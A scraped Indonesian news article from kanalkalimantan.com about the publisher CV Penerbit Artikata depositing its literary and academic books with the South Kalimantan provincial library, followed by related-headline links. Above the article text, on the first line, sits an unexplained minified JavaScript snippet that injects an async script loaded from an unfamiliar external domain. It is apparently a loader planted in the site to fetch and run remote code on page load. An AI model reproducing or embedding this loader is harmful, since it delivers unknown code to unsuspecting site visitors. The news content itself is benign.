(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – CV Penerbit Artikata sebagai salah satu penerbit buku yang ada di Kalimantan Selatan menyerahkan beberapa karya cetak yang telah diterbitkan ke Perpustakaan Kalsel di bawah pengelolaan Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel.
Sumasno Hadi, Direktur Artikata mengatakan, langkah ini untuk menambah khazanah local content yang menjadi kewajiban Dispersip Kalsel untuk mengelola karya cetak dan karya rekam penulis dan penerbit lokal khusus di ruang Deposit untuk ditayangkan untuk pemustaka yang berkunjung. Sejak tahun 2017 hingga kini, Artikata rata-rata mampu menerbitkan 5 sampai 6 judul buku setiap tahunnya. Sebagian besar adalah buku-buku bergenre sastra, karya dari para penulis Kalimantan Selatan.
“Seperti dua buku kumpulan cerpen berbahasa Banjar Parangmaya karya Jamal T. Suryanata dan Bacina Buta karya Hatmiyati Masy’ud. Juga buku-buku puisi seperti Stadium Tanah Ibu karya penyair Ali Syamsudin Arsi,” ungkap Sumasno, Minggu (14/6/2020).
Selain sastra, Artikata juga menerbitkan buku-buku ilmiah seperti Kewirausahaan dalam Pendidikan karya Monry, dosen FKIP ULM. Selaku lembaga penerbitan yang turut mengembangkan dunia literasi di Banua Kalimantan Selatan, Artikata selalu memenuhi kewajibannya untuk menyerahkan deposit cetak buku ke Perpustakaan Nasional RI di Jakarta, juga ke Perpustakaan Daerah Kalimantan Selatan di Banjarmasin.
“Dengan hadirnya buku-buku terbitan Artikata, hal ini merupakan poin penting bagi perkembangan dunia perbukuan dan literasi di Kalimantan Selatan,” tukas Sumasno.
Sementara itu, Kepala Dispersip Kalsel Dra Hj Nurliani Dardie mengapresiasi kesadaran penerbit dan penulis lokal Kalimantan Selatan untuk menyerahkan karya cetak dan karya rekam ke Perpustakaan Kalsel. sebagai kewajiban sesuai amanah UU No. 13 Tahun 2018.
“Setiap tahun, Perpustakaan Kalsel selalu menganggarkan pengadaan buku-buku yang ditulis oleh penulis lokal dan terbitan lokal untuk dibeli dan dipromosikan di Ruang Khusus. Termasuk di layanan perpustakaan keliling dan layanan terpadu perpustakaan sekolah, pondok pesantren, maupun lapas sebagai penghargaan kepada penulis dan penerbit lokal,” ucapnya.
Bunda Nunung -sapaannya- mengatakan, Perpustakaan Kalsel memotivasi penulis dan penerbit lokal untuk semangat menulis dan menerbitkan karya cetak dan karya rekam baik tulisan fiksi dan non fiksi serta tentang kebudayaan, resep makanan, sosial masyarakat Kalsel.
Menurutnya, Perpustakaan Kalsel selama 3 tahun terakhir mengadakan sosialisasi dan pertemuan kepada penulis dan penerbit lokal di Kalsel dengan mendatangkan narasumber dari Perpusnas RI untuk mengapresiasi serta ajang diskusi terkait tulisan dan terbitan lokal Kalsel. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.